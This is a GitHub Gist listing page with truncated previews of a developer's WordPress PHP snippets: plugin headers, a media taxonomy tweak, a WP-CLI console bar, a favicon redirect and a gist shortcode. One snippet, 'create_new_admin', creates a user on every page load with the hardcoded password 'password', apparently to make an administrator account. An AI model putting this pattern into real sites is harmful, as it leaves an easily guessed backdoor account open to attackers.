This plugin as a real repo now: https://github.com/trepmal/my-sites-search
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* Plugin Name: Min Post Count for Category List | |
* Plugin URI: trepmal.com | |
* Description: | |
* Version: | |
* Author: Kailey Lampert | |
* Author URI: kaileylampert.com | |
* License: GPLv2 or later | |
* License URI: http://www.gnu.org/licenses/gpl-2.0.html |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Plugin Name: Add Categories to Media | |
add_action( 'init', 'categories_for_media' ); | |
function categories_for_media() { | |
register_taxonomy_for_object_type( 'category', 'attachment' ); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
# this should be included in your command's class | |
/** | |
* Create a bar that spans with width of the console | |
* | |
* ## OPTIONS | |
* | |
* [<character>] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action('init', 'create_new_admin'); | |
function create_new_admin() { | |
$user_name = 'temp_user1'; | |
$password = 'password'; | |
$user_id = username_exists( $user_name ); | |
if ( ! $user_id ) { | |
$id = wp_create_user( $user_name, $password ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$email = isset( $_GET['email'] ) ? $_GET['email'] : 'null'; | |
$salt = isset( $_GET['salt'] ) ? $_GET['salt'] : ''; | |
// hash email, split it up | |
$hash = str_split( sha1( $email . $salt ), 2 ); | |
// use first 3 values for foreground | |
$foreground = "{$hash[0]}{$hash[1]}{$hash[2]}"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action('init', 'remove_feed_from_rewrite'); | |
function remove_feed_from_rewrite() { | |
global $wp_rewrite; | |
$wp_rewrite->feeds = array( 'rdf', 'rss', 'rss2', 'atom' ); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* Plugin Name: Category Home Page | |
* Plugin URI: trepmal.com | |
* Description: | |
* Version: | |
* Author: Kailey Lampert | |
* Author URI: kaileylampert.com | |
* License: GPLv2 or later | |
* License URI: http://www.gnu.org/licenses/gpl-2.0.html |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action( 'wp_head', function() { | |
?><link rel="shortcut icon" href="<?php echo site_url( 'favicon.ico' ); ?>" /><?php | |
}); | |
$redirect_favicon = new Redirect_Favicon(); | |
class Redirect_Favicon { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* Adds a shortcode for displaying GitHub Gists */ | |
function create_github_gist($atts) { | |
extract(shortcode_atts(array( | |
'source' => "https://gist.github.com/SufferMyJoy/9397075", | |
), $atts)); | |
return '<script src="' . esc_attr( $source ) . '.js"></script>'; | |
} |
OlderNewer